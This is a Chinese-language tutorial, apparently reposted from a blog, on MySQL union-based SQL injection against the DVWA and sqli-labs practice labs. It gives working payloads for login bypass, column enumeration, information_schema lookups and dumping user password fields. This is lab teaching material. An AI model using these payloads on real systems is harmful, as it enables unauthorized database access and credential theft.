ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

SQL注入篇——mysql 联合查询注入

2021-06-18 14:51:48  阅读:241  来源: 互联网

标签:-- mysql union select SQL schema concat 注入


SQL注入篇——对information_schema数据库的解析

SQL注入篇——盲注

SQL注入篇——常用注入语句

SQL注入篇——宽字节注入

SQL注入篇——less21-38最详细教程附带隐藏关卡

SQL注入篇——sqli-labs最详细1-75闯关指南

SQL注入篇——注入工具sqlmap使用详解

sql注入中的常用函数
  • @@datadir 函数

作用:返回数据库的存储目录

  • @@version_compile_os 函数

作用:查看服务器的操作系统

  • concat(str1,str2) 函数

作用:连接两个字符串并传入数据库

  • concat_ws(separator,str1,str2) 函数

作用:用分隔符连接两个字段的字符串

  • group_concat(str1,str2) 函数

作用:将多行查询结果以逗号分隔全部输出

  • group_concat(concat_ws(seperator,str1,str2)) 函数

作用:将多行查询结果以逗号分隔全部输出,每一行的结果可用设置的分隔符作字段的间隔

  • mid()函数

SELECT MID(ColumnName, Start [, Length])
从指定字段中提取出字段的内容
column_name:字段名
start:开始位置
length:长度

  • limit()函数

SELECT * FROM TABLE LIMIT M,N
返回结果中的前几条数据或者中间的数据
m是指从m位开始(第一位为0)
n是指取n条

  • Substr()函数

substr(a,b,c)

截取字符串

a 所要截取字符串
b 截取的位置
c 截取的长度

 

系统信息函数

  • database()

返回当前数据库名

  • connection_id()

返回当前客户的连接id

  • found_rows()

返回最后一个select查询进行检索的总行数

  • user()或system_user()

返回当前登陆用户名

  • version()

返回mysql服务器的版本

 

使用DVWA-master***测试平台进行sql注入

登录界面万能密码注入

1.先将DVWA的安全等级设为low

2.输入万能密码admin' -- -    (注意中间的空格)

3.密码随便,点击提交登录成功

注意问题:此处的万能密码需填写用户名

在不知道有哪些用户的情况下可以用' or 1=1 limit 1 -- -

查询界面的sql注入

 

一.判断是否存在注入

1' and 1=1 -- -

1' and 1=2 -- -

二.判断有多少列     

1' order by 2 -- -

2能正常显示,3就会报错,说明只有两个显示位

三.判断数据显示点     

1' union select 1,2 -- -

四.查看数据库基本信息

1' union select version(),database() -- -

五. 查看数据库有哪些表

1' union select 1,(select group_concat(concat(table_name)) from information_schema.tables where table_schema = 'security' ) -- -

六.查看对应表有哪些列

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'  ) -- -

七.查看账号密码信息

1' union select 1,(select group_concat(concat_ws(0x7e,user,password))from users) -- -

  使用sqli-labs游戏系统进行sql注入

1.首先确定用哪些字符可以进行sql注入

一.选择Less-1进入第一关,在网址中添加标红内容,显示了用户和密码

http://localhost/sqli-labs-master/Less-1/index.php?id=1' and 1=1 -- -

把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ' 字符注入

二.进入第二关,在网址中添加标红内容,显示了用户和密码

http://localhost/sqli-labs-master/Less-2/index.php?id=1 and 1=1 -- -

把1=1改成1=2,不报错也不显示任何信息,说明可以进行整数型注入

三.进入第三关,在网址中添加标红内容,显示了用户和密码

http://localhost/sqli-labs-master/Less-3/index.php?id=1') and 1=2 -- -

把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ') 字符注入

四.进入第四关,在网址中添加标红内容,显示了用户和密码

http://localhost/sqli-labs-master/Less-4/index.php?id=1") and 1=1 -- -

把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ") 字符注入

2.确定注入字符后,判断有多少列,标红部分为判断语句,超出列数会报错

http://localhost/sqli-labs-master/Less-1/index.php?id=1' order by 4 -- -

3.判断数据显示点   (id一定要改为0或负数)

http://localhost/sqli-labs-master/Less-1/index.php?id=0' union select 1,2,3 -- -

4.然后便可在注入字符后加入sql注入语句

union select 1,user(),database()-- -显示出登录用户和数据库名

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 查看数据库有哪些表

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'  ),3  查看对应表有哪些列

union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3   查看账号密码信息

标签:--,mysql,union,select,SQL,schema,concat,注入
来源: https://blog.51cto.com/u_15274949/2922496

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有